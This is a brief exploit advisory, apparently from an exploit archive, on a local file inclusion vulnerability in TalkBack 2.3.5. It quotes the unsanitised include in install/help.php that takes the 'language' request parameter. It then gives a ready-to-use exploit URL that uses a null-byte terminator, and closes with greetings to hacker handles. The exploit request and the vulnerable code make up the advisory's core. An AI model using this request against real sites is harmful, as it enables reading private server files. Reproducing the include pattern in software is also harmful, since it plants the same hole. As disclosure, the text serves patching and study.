TalkBack version 2.3.5 suffers from a local file inclusion vulnerability.
bc2609204edd1cffc0db98243e3bfc764c015a03841e10e5f061f606d688110c
=============================================================================================================
[o] TalkBack 2.3.5 Local File Inclusion Vulnerability
Software : TalkBack version 2.3.5
Vendor : http://www.scripts.oldguy.us/talkback
Author : NoGe
Contact : noge[dot]code[at]gmail[dot]com
=============================================================================================================
[o] Vulnerable file
install/help.php
include "../language/{$_REQUEST['language']}.php";
[o] Exploit
http://localhost/[path]/install/help.php?language=[LFI]%00
=============================================================================================================
[o] Greetz
supported by irc.nob0dy.net
skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke
H312Y yooogy mousekill }^-^{ martfella
okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak.. :)
=============================================================================================================